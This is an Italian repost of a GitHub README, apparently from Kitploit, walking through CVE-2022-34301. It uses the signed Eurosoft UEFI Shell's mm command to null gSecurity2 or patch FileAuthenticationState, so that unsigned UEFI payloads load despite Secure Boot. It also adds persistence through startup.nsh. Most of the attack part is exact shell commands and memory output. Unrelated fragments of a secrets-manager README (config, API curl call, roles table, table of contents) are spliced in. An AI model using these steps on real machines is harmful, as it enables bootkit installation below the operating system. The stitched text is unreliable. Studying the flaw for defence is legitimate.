CVE-2022-34301 — Dimostra il bypass di Secure Boot CVE-2022-34301 tramite la UEFI Shell firmata Eurosoft (esdiags.efi), utilizzando il comando mm per annullare gSecurity2 e caricare applicazioni UEFI non firmate. | Kitploit

Panoramica

Questo repository dimostra la tecnica BYOVUA (Bring Your Own Vulnerable UEFI Application) sfruttando CVE-2022-34301, una vulnerabilità di bypass di Secure Boot nell'ambiente diagnostico UEFI Eurosoft Pc-Check.

In questo caso, il componente considerato attendibile da Secure Boot è esdiags.efi, una UEFI Shell distribuita come parte del prodotto di diagnostica hardware UEFI Pc-Check di Eurosoft, firmata da una catena di certificati considerata attendibile dalla Microsoft UEFI Third Party Certificate Authority. Una volta eseguita, questa shell espone il comando mm (memory modify) e fornisce quindi capacità di lettura e scrittura arbitraria della memoria durante la fase di avvio pre-OS.

Questa primitiva può quindi essere utilizzata per individuare e annullare il puntatore globale gSecurity2 nel core DXE. Di conseguenza, la successiva verifica delle immagini UEFI viene disabilitata, consentendo il caricamento di applicazioni UEFI non firmate, bootkit, nonostante Secure Boot sia abilitato.

Contesto

Bring Your Own Vulnerable UEFI Application

BYOVUA è l'equivalente UEFI della tecnica BYOVD (Bring Your Own Vulnerable Driver) utilizzata a livello di kernel. Invece di portare un driver kernel firmato con una vulnerabilità, l'attaccante porta un'applicazione UEFI firmata - in questo caso, una UEFI Shell completa - che contiene funzionalità in grado di compromettere Secure Boot.

Poiché l'applicazione è firmata con una catena di certificati considerata attendibile da Secure Boot, viene accettata senza riserve, rendendola attendibile su qualsiasi sistema che includa la Microsoft UEFI Third Party Certificate Authority nel proprio database Secure Boot (db) - ovvero praticamente ogni PC con capacità UEFI spedito nell'ultimo decennio. Una volta in esecuzione, i suoi comandi integrati forniscono all'attaccante accesso diretto all'hardware e alla memoria che opera prima del caricamento del sistema operativo, in un ambiente in cui i moderni controlli di sicurezza (ASLR, DEP, protezioni del kernel) semplicemente non esistono.

La Shell Firmata

esdiags.efi è una UEFI Shell distribuita come parte di Eurosoft Pc-Check UEFI, un prodotto di diagnostica hardware pre-boot utilizzato da produttori di PC, organizzazioni di assistenza e team IT per il test di sistemi bare-metal.

La Vulnerabilità

La vulnerabilità non è un bug - è un difetto di progettazione. Le UEFI Shell sono strumenti diagnostici legittimi che non erano mai stati pensati per essere eseguiti in ambienti Secure Boot. Tuttavia, firmandole con un certificato considerato attendibile da Microsoft e distribuendole come parte di prodotti commerciali, i vendor hanno inavvertitamente creato un bypass firmato per Secure Boot.

Il problema principale: un binario firmato considerato attendibile da Secure Boot fornisce capacità illimitate di lettura/scrittura della memoria attraverso i suoi comandi integrati. Questa combinazione infrange l'intero modello di fiducia di Secure Boot.

Il Comando mm

Il comando mm (memory modify) è un comando integrato standard della UEFI Shell che fornisce accesso diretto in lettura e scrittura alla memoria di sistema. È documentato nella UEFI Shell Specification (Sezione 5.3).``` MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]

| Parametro | Descrizione |
|-----------|-------------|
| `Address` | Indirizzo di memoria di destinazione |
| `Value` | Valore da scrivere (omettere per sola lettura) |
| `-w` | Larghezza: 1, 2, 4 o 8 byte |
| `-MEM` | Accesso alla memoria di sistema |
| `-MMIO` | I/O mappato in memoria |
| `-IO` | Accesso alla porta I/O |
| `-n` | Non interattivo (nessun prompt per l'indirizzo successivo) |

---

<div id='gsecurity2'/>

### ***gSecurity2 e il Security Architectural Protocol***

La verifica delle immagini Secure Boot in UEFI è imposta tramite i [Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols), definiti nella specifica UEFI Platform Initialization (PI).

Il core DXE (DxeMain) mantiene un puntatore globale chiamato [`gSecurity2`](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252), che punta alla struttura `EFI_SECURITY2_ARCH_PROTOCOL`. Questo protocollo contiene un singolo puntatore a funzione - `FileAuthenticationState` - che viene chiamato da `LoadImage()` ogni volta che viene caricata un'immagine UEFI:```c
// EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
	EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
} EFI_SECURITY2_ARCH_PROTOCOL;

// GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68

Quando viene chiamato LoadImage(), il core DXE verifica:```c if (gSecurity2 != NULL) { Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy ); if (EFI_ERROR(Status)) { // Image rejected - signature verification failed } }

Impostando `gSecurity2 = NULL`, il controllo `if` fallisce e `FileAuthenticationState` non viene mai chiamato. La verifica dell'immagine viene completamente saltata - **Secure Boot rimane "abilitato" ma non è più applicato**. Le applicazioni UEFI non firmate possono quindi essere caricate liberamente.

Per una comprensione tecnica approfondita di questa tecnica, incluso un'applicazione UEFI appositamente creata che individua e corregge automaticamente gSecurity2, consulta il progetto complementare: [Exploitation Technique - UEFI Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption).

---

<div id='BYOVD'/>

### ***Parallelismo con il BYOVD del kernel***

Il parallelismo strutturale tra UEFI BYOVUA e kernel BYOVD è esatto:```
┌──────────────────────────────────────────────────────────────┐
│  UEFI BYOVUA (Secure Boot Bypass)                            │
│                                                              │
│  Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned     │
│  (trusted by          (Security2 Protocol)   UEFI apps       │
│   Secure Boot)                                               │
├──────────────────────────────────────────────────────────────┤
│  Kernel BYOVD (DSE Bypass)                                   │
│                                                              │
│  Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned   │
│  (trusted by              (CI.dll)            kernel drivers │
│   DSE / CI)                                                  │
└──────────────────────────────────────────────────────────────┘

Entrambi gli attacchi sfruttano lo stesso difetto fondamentale: un componente firmato di cui si fida un meccanismo di sicurezza fornisce la primitiva necessaria per disabilitare proprio quel meccanismo.

Come Funziona

Fase 1 - Avvio della Shell Firmata

Il file firmato esdiags.efi viene posizionato sulla EFI System Partition (ESP) e configurato come opzione di avvio. Poiché è firmato con una catena di certificati considerata attendibile da Secure Boot, il firmware lo convalida e lo carica senza problemi.``` EFI System Partition (ESP) └── EFI/ └── Boot/ └── Bootx64.efi (Microsoft) ← Signed by Microsoft Windows UEFI Driver Publisher └── Bootxsa.efi (Shell) ← Signed by Eurosoft (UK) Ltd

---

<div id='Phase2'/>

### ***Fase 2 - Enumerare gli handle del protocollo Security2***

Dalla UEFI Shell, l'obiettivo è trovare l'handle che espone il protocollo `EFI_SECURITY2_ARCH_PROTOCOL` (GUID: `94AB2F58-1438-4EF1-9152-18941A3A0E68`) e ottenere l'indirizzo di memoria della sua interfaccia di protocollo.

> **Nota:** Il comando `dh -p <GUID>` non risolve i GUID grezzi nella maggior parte delle build EDK2 Shell - riconosce solo i nomi di protocollo registrati. L'approccio seguente funziona su qualsiasi versione di EDK2 Shell.

**Passo 1 - Trovare l'handle SecurityStubDxe**

Elenca tutti gli handle e cerca `SecurityStubDxe`, che è il driver DXE che installa entrambi i Security Architectural Protocols:```
Shell> dh

**Passo 2 - Ispezionare gli handle adiacenti**

`SecurityStubDxe` installa i protocolli Security su un handle separato, tipicamente quello immediatamente successivo. Questi handle appaiono vuoti nell'elenco breve perché la Shell non riesce a mappare i loro GUID a nomi descrittivi. Ispezionali con la modalità verbose:```
Shell> dh -v 11

Se l'handle `0x11` non contiene questi GUID, prova `0x12` - il numero esatto dell'handle varia tra le build del firmware.

**Passo 3 - Registrare l'indirizzo dell'interfaccia**

I due protocolli e i loro indirizzi di interfaccia sono:

| GUID | Protocollo | Indirizzo dell'interfaccia |
|------|----------|-------------------|
| `A46423E3-4617-49F1-B9FF-D1BFA9115839` | `EFI_SECURITY_ARCH_PROTOCOL` (Security1) | `0x3EE8C398` |
| `94AB2F58-1438-4EF1-9152-18941A3A0E68` | `EFI_SECURITY2_ARCH_PROTOCOL` (Security2) | `0x3EE8C3A0` |

L'**indirizzo dell'interfaccia Security2** (`0x3EE8C3A0` in questo esempio) è il valore memorizzato dal puntatore globale `gSecurity2` all'interno di DxeMain. Questo valore è necessario per la Fase 3.

---

<div id='Phase3'/>

### ***Fase 3 - Individuare gSecurity2 in memoria***

La variabile `gSecurity2` è un puntatore globale all'interno del core DXE (`DxeMain`). Il suo valore è uguale all'indirizzo dell'interfaccia del protocollo trovato nella Fase 2. L'obiettivo è trovare l'indirizzo di memoria in cui è memorizzato questo puntatore - non il valore del puntatore, ma la variabile stessa.

**Passo 1 - Ottenere il layout dell'immagine del core DXE**```
Shell> dh -v 1

Variabile	Descrizione	Valore predefinito
`SECRETSHUB_PORT`	Porta su cui il server è in ascolto	`8080`
`SECRETSHUB_LOG_LEVEL`	Livello di log (debug, info, warn, error)	`info`
`SECRETSHUB_DB_PATH`	Percorso del file del database	`/var/lib/secretshub/data.db`
`SECRETSHUB_TLS_ENABLED`	Abilita TLS	`false`
`SECRETSHUB_TLS_CERT`	Percorso del certificato TLS	``
`SECRETSHUB_TLS_KEY`	Percorso della chiave TLS	``

server:
  port: 8080
  log_level: info
  tls:
    enabled: false
    cert_file: ""
    key_file: ""

database:
  path: /var/lib/secretshub/data.db
  max_connections: 10

auth:
  provider: local
  session_timeout: 3600

curl -X POST http://localhost:8080/api/v1/secrets \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{"name": "my-secret", "value": "secret-value", "type": "generic"}'

Registra `ImageBase` (`0x3FE94000`).

**Passo 2 - Analizza le intestazioni PE per trovare la sezione `.data`**

La sezione `.data` contiene le variabili globali inizializzate, inclusa `gSecurity2`. Invece di scansionare l'intera immagine alla cieca, analizza le intestazioni PE per trovare i confini esatti di `.data`.

Leggi l'intestazione MZ per ottenere l'offset dell'intestazione PE (DWORD all'offset `0x3C`):```
Shell> dmem <ImageBase> 100

Questo significa che la firma PE si trova all'offset `0xC0` da `ImageBase`.

**Passo 3 - Leggere la tabella delle sezioni**

L'offset della tabella delle sezioni è calcolato come:```
section_table_offset = PE_offset + 4 (signature) + 20 (COFF header) + SizeOfOptionalHeader

Ogni voce di sezione è di 40 byte:

| Offset | Size | Campo |
|--------|------|-------|
| 0 | 8 | Name (ASCII) |
| 8 | 4 | VirtualSize |
| 12 | 4 | VirtualAddress (RVA) |

Cerca la voce della sezione `.data`. Esempio di output:```
3FE941F0: 2E 64 61 74 61 00 00 00   ← ".data"
3FE941F8: B0 9E 00 00               ← VirtualSize = 0x9EB0
3FE941FC: 60 AA 01 00               ← VirtualAddress (RVA) = 0x1AA60

**Passo 4 - Scansiona `.data` per il puntatore all'interfaccia**

Cerca l'indirizzo dell'interfaccia Security2 in ordine di byte little-endian all'interno dell'intervallo `.data`. Per un indirizzo di interfaccia `0x3EE8C3A0`, cerca:```
A0 C3 E8 3E 00 00 00 00

Continua attraverso l'intervallo `.data` finché non trovi la sequenza di byte. I puntatori `gSecurity` (Security1) e `gSecurity2` (Security2) sono memorizzati consecutivamente, quindi cerca entrambi i valori adiacenti l'uno all'altro:```
3FEB0C08: A0 C3 E8 3E 00 00 00 00   ← gSecurity2 = 0x3EE8C3A0
3FEB0C10: 98 C3 E8 3E 00 00 00 00   ← gSecurity  = 0x3EE8C398

Fase 4 - Annullare gSecurity2

Una volta nota l'indirizzo della variabile gSecurity2, un singolo comando mm disabilita la verifica del Secure Boot:``` Shell> mm <gSecurity2_address> 0 -w 8 -MEM

> **Nota:** Il comando `mm` potrebbe non accettare il prefisso `0x` nell'argomento dell'indirizzo. Utilizzare direttamente l'indirizzo esadecimale grezzo.

Esempio:```
Shell> mm 3FEB0C08 0 -w 8 -MEM

Questo scrive 8 byte di zeri nel puntatore gSecurity2. Il core DXE ora salterà tutti i controlli di verifica delle immagini in LoadImage().

Per verificare la patch:``` Shell> dmem <gSecurity2_address> 10

I primi 8 byte dovrebbero essere `00 00 00 00 00 00 00 00`:```
3FEB0C08: 00 00 00 00 00 00 00 00-98 C3 E8 3E 00 00 00 00

Nota che gSecurity (Security1, secondo qword) rimane intatto - solo Security2 viene annullato, il che è sufficiente per aggirare la verifica di LoadImage().

Fase 5 - Caricare applicazioni UEFI non firmate

Con gSecurity2 annullato, qualsiasi applicazione UEFI può essere caricata indipendentemente dal suo stato di firma:``` Shell> fs1: fs1:> MyUnsignedApp.efi

Oppure utilizzando `load` per i driver:```
Shell> load fs1:\MyUnsignedDriver.efi

Il sistema operativo non è ancora stato avviato. Qualsiasi applicazione UEFI caricata in questo momento viene eseguita con accesso completo all'hardware, prima che venga inizializzato qualsiasi controllo di sicurezza a livello di sistema operativo.

Fase 6 - Persistenza tramite startup.nsh

La UEFI Shell esegue automaticamente startup.nsh dalla directory corrente o dalla radice della ESP a ogni avvio. Codificando la patch mm in questo script, il bypass di Secure Boot viene eseguito automaticamente a ogni avvio:```nsh mm <gSecurity2_address> 0 -w 8 -MEM load fs1:\payload.efi

Esempio:```nsh
mm 3FEB0C08 0 -w 8 -MEM
load fs1:\payload.efi

Extra - Processo di scoperta

Trovare l'indirizzo gSecurity2 è specifico del firmware e deve essere ripetuto ogni volta che il firmware viene aggiornato o ricompilato. Il processo di alto livello è:``` Step 1 Step 2 Step 3 ┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐ │ dh │──> │ dh -v │──> │ dh -v 1 │ │ │ │ │ │ │ │ Find │ │ Inspect adjacent │ │ Get DxeMain │ │ SecurityStubDxe │ │ handle for │ │ ImageBase and │ │ handle number │ │ Security2 GUID and │ │ ImageSize │ │ │ │ Interface address │ │ │ └─────────────────────┘ └──────────────────────┘ └──────────────────────┘ │ v Step 6 Step 5 Step 4 ┌─────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐ │ Verify: │ <──│ Nullify: │ <──│ Parse PE headers, │ │ dmem 10 │ │ mm 0 -w 8 │ │ find .data section, │ │ │ │ -MEM │ │ scan for Interface │ │ First 8 bytes │ │ │ │ address bytes in │ │ = 0x0000000000000000│ │ Secure Boot bypass │ │ little-endian │ │ │ │ active │ │ │ └─────────────────────┘ └──────────────────────┘ └──────────────────────┘

---
---
---



<div id='Exploit'/>

## ***Exploit***

Sono forniti due approcci:

**Approccio A - Patch di FileAuthenticationState:** Sovrascrive i primi 4 byte della funzione di verifica con `xor rax, rax; ret` (`48 31 C0 C3`), facendola restituire EFI_SUCCESS senza eseguire alcun controllo. Questo approccio utilizza i comandi `dh`, `dmem` e `mm` per risolvere il puntatore alla funzione attraverso l'interfaccia del protocollo Security2 e non richiede la ricerca nella memoria di DxeMain.

**Approccio B - Azzeramento del puntatore gSecurity2:** Individua la variabile globale gSecurity2 all'interno della sezione `.data` di DxeMain e vi scrive NULL. Questa è la tecnica descritta da Eclypsium nella divulgazione di BombShell e implementata programmaticamente nel repository [gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption). Questo approccio richiede l'analisi delle intestazioni PE di DxeMain per trovare i confini della sezione `.data`, quindi la scansione manuale della memoria con `dmem` per individuare l'indirizzo del puntatore.

Entrambi gli script sono progettati per essere seguiti passo dopo passo, con ogni comando spiegato. Eseguirli prima in modo interattivo, poi una volta noti gli indirizzi corretti per il firmware di destinazione, creare un `startup.nsh` per l'esecuzione automatizzata a ogni avvio.



---
---
---



<div id='LabSetup'/>

## ***Configurazione del laboratorio***

### DBX (Forbidden Signature Database)

La shell firmata è stata aggiunta alla lista di revoca DBX di Microsoft tramite KB5012170 (agosto 2022). Sui sistemi aggiornati, la shell verrà rifiutata da Secure Boot.

Per l'ambiente di laboratorio, è necessario un sistema in cui:
- Il DBX non sia stato aggiornato con la voce di revoca per questa specifica shell
- Oppure il DBX sia vuoto (VM appena creata con chiavi Secure Boot predefinite)
- Oppure si utilizzi un ambiente QEMU/OVMF con registrazione personalizzata delle chiavi Secure Boot

Il [QEMU UEFI Research Environment](https://github.com/TheMalwareGuardian/QEMU-UEFI-Research-Environment) fornisce una configurazione automatizzata per questo.

### Alternativa: qualsiasi shell UEFI firmata con comando mm

La tecnica non è specifica per `esdiags.efi`. Qualsiasi UEFI Shell che esponga il comando `mm` e sia firmata con un certificato attendibile (Microsoft CA o specifico dell'OEM) può essere utilizzata. Come documentato dalla ricerca [BombShell](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) di Eclypsium (ottobre 2025), shell UEFI firmate con capacità pericolose sono state trovate nei prodotti di molteplici fornitori, inclusi i laptop Framework (che interessano circa 200.000 dispositivi).



---
---
---



<div id='References'/>

## ***Riferimenti***

### Direttamente correlati

- [Awesome Bring Your Own Vulnerable UEFI Application](https://github.com/TheMalwareGuardian/Awesome-Bring-Your-Own-Vulnerable-UEFI-Application) - Raccolta curata di applicazioni UEFI firmate vulnerabili note
- [Exploitation Technique - Secure Boot Bypass via gSecurity2 Corruption](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption) - Analisi tecnica approfondita della tecnica di corruzione di gSecurity2, inclusa un'applicazione UEFI appositamente creata che individua e corregge automaticamente il puntatore

### Ricerca Eclypsium

- [SignedUEFIShell](https://github.com/HackingThings/SignedUEFIShell) - Ricerca sull'utilizzo di shell UEFI firmate per la manipolazione della memoria con scripting .nsh
- [One Bootloader to Load Them All](https://eclypsium.com/research/one-bootloader-to-load-them-all/) - Ricerca originale di Eclypsium che divulga CVE-2022-34301, CVE-2022-34302, CVE-2022-34303
- [DEF CON 30 - One Bootloader to Load Them All](https://www.youtube.com/watch?v=99t7wEYs8h0) - Presentazione di Mickey Shkatov e Jesse Michael
- [BombShell: The Signed Backdoor Hiding in Plain Sight](https://eclypsium.com/blog/bombshell-the-signed-backdoor-hiding-in-plain-sight-on-framework-devices/) - Ricerca di ottobre 2025 che dimostra l'attacco gSecurity2 tramite comando mm sui laptop Framework (200k dispositivi interessati)

### Specifiche UEFI

- [UEFI Shell Specification 2.2](https://uefi.org/sites/default/files/resources/UEFI_Shell_2_2.pdf) - Documentazione per i comandi mm e dh
- [EDK2 - gSecurity2 declaration (DxeMain.h)](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) - Riferimento al codice sorgente per il puntatore globale gSecurity2
- [UEFI PI Specification - Security Architectural Protocols](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) - Definizione ufficiale del Security2 Architectural Protocol

### Avvisi

- [CERT/CC - VU#309662](https://kb.cert.org/vuls/id/309662)
- [NVD - CVE-2022-34301](https://nvd.nist.gov/vuln/detail/CVE-2022-34301)

### Catalogo Bootloader

- [Bootloaders.io - esdiags.efi](https://www.bootloaders.io/bootloaders/aa02b41c-fdba-4a15-8cd0-721c8ce19b68/) - Regole YARA, rilevamenti Sigma e hash dei campioni per la shell Eurosoft revocata

File	EFI/Boot/Bootx64.efi (Microsoft) -> EFI/Boot/esdiags.efi (Shell)
Vendor	Eurosoft (UK) Ltd
CVE	CVE-2022-34301
Firma	Microsoft Corporation UEFI CA 2011 (Third Party)
Scoperta	Eclypsium (Mickey Shkatov, Jesse Michael) - Agosto 2022
Presentazione	DEF CON 30 - "One Bootloader to Load Them All"
Revoca	Aggiunta al DBX tramite Microsoft KB5012170 (Agosto 2022)

Ruolo	Descrizione
`admin`	Accesso completo a tutte le risorse e impostazioni
`operator`	Può leggere e scrivere segreti, ma non può gestire gli utenti
`viewer`	Accesso in sola lettura ai segreti

Più Popolari

CVE-2022-34301

🕷️ CVE-2022-34301 - Vulnerabilità del Boot Loader Eurosoft

📑 Indice

Panoramica

Contesto

Bring Your Own Vulnerable UEFI Application

La Shell Firmata

La Vulnerabilità

Il Comando mm

Come Funziona

Fase 1 - Avvio della Shell Firmata

Installazione

Installazione tramite script (Linux)

Installazione tramite Docker

Compilazione dal sorgente

Configurazione

Variabili d'ambiente

Esempio di file di configurazione

Utilizzo

Avvio del server

Inizializzazione del database

Creazione di un utente amministratore

API

Autenticazione

Elenco dei segreti

Recupero di un segreto

Creazione di un segreto

Aggiornamento di un segreto

Eliminazione di un segreto

Ruoli e autorizzazioni

Integrazione con CyberArk PAM

Sviluppo

Prerequisiti

Configurazione dell'ambiente di sviluppo

Esecuzione dei test

Compilazione per la produzione

Sicurezza

Segnalazione di vulnerabilità

Licenza

Contributi

Supporto

Fase 4 - Annullare gSecurity2

Fase 5 - Caricare applicazioni UEFI non firmate

Fase 6 - Persistenza tramite startup.nsh

Extra - Processo di scoperta